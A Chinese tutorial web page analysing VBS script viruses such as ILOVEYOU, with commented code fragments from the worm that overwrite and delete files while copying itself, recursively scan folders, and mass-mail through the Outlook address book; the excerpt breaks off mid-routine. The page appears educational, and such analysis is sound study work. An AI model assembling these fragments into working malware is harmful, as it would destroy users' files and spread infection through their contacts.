• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >vbs > VBS脚本病毒原理分析与防范

VBS脚本病毒原理分析与防范

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了vbs脚本病毒,vbs脚本病毒代码,vbs脚本病毒生成器,vbs脚本病毒生成机,vbs脚本病毒制造机等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
    上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:

一、Vbs脚本病毒的特点及发展现状
    VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。

二、Vbs脚本病毒原理分析 
1.vbs脚本病毒如何感染、搜索文件
    VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject")  '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall          ' 读取病毒全部代码到字符串变量vbscopy……  
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbscopy                               ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path)   '得到目标文件路径
cop.copy(目标文件.path & ".vbs")          ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)                            '删除目标文件
    上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_)    'scan函数定义,
on error resume next                 '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files               ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)                 '获取文件后缀
  ext=lcase(ext)                  '后缀名转换成小写字母
  if ext="mp5" then        '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。 
    Wscript.echo (file)
  end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders    '搜索其他目录;递归调用
  scan( )  
  scan(subfolder)
next 
end sub 
    上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

2.vbs脚本病毒通过网络传播的几种方式及代码分析 
    VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
    这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
  Set mapiObj=outlookApp.GetNameSpace("MAPI")   //获取MAPI的名字空间
  Set addrList= mapiObj.AddressLists                //获取地址表的个数
  For Each addr In addrList
   If  addr.AddressEntries.Count <> 0 Then
     addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
     For addrEntIndex= 1 To addrEntCount       //遍历地址表的Email地址
       Set item = outlookApp.CreateItem(0)      //获取一个邮件对象实例
       Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
       item.To = addrEnt.Address                     //填入收信人地址        item.Subject = "病毒传播实验"    //写入邮件标题
       item.Body = "这里是病毒邮件传播测试,收到此信请

您可能想查找下面的文章:

  • VBS教程:属性-ShareName 属性
  • VBS相册生成脚本[
  • 对一个vbs脚本病毒的病毒原理分析
  • VBS实现查询服务的制造商
  • Crack8 VBS整人脚本 你不说你爱我 就关机
  • VBS访问剪贴板的几种方法小结
  • 由vbs sort引发.NET Framework之间的关系说明
  • VBS.Runauto脚本病毒分析篇
  • vbs 合并多个excel文件的脚本
  • 一段病毒常用的VBS代码

相关文章

  • vbs AD日志开启脚本nableKerbLog的脚本
  • 用vbs将名称转换为正确的大小写的代码
  • 用vbs读取Excel文件的函数代码
  • 用vbs通过135端口执行命令的脚本
  • vbs判读盘符被双击的脚本
  • VBS教程:属性-DateLastModified 属性
  • VBS 强制关闭Symantec Endpoint Protection的代码
  • 在 HTA 中暂停脚本的方法
  • vbs base64 解密脚本代码
  • VBS教程:正则表达式简介 -早期起源

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • VBS 下载方法(CDO.MESSAGE)
    • VBScript教程 第十四课在VBScript中使用对象
    • 用vbs列出机器上所有能调用的组件
    • vbs字符串分割函数
    • 用vbs产生的若干个随机数并写入到一个.txt中的代码
    • vbs imail 密码解密
    • 用vbscript把 Word 文档保存为文本文件的代码
    • VBS实现工作表按指定表头自动分表
    • 校准系统时间的VBS代码
    • 在vbs运行命令行工具后让命令窗口保持打开状态的脚本

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有